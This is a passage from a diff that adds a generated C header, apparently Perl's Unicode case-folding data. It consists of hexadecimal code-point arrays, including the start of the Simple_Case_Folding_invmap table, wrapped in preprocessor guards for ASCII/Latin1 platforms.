+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9B,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD8,
+	0x1FDA,
+	0x1FDC,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const int Simple_Case_Folding_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x61,
+	0,
+	0x3BC,
+	0,
+	0xE0,
+	0,
+	0xF8,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xFF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0x73,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0x1E61,
+	0,
+	0xDF,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
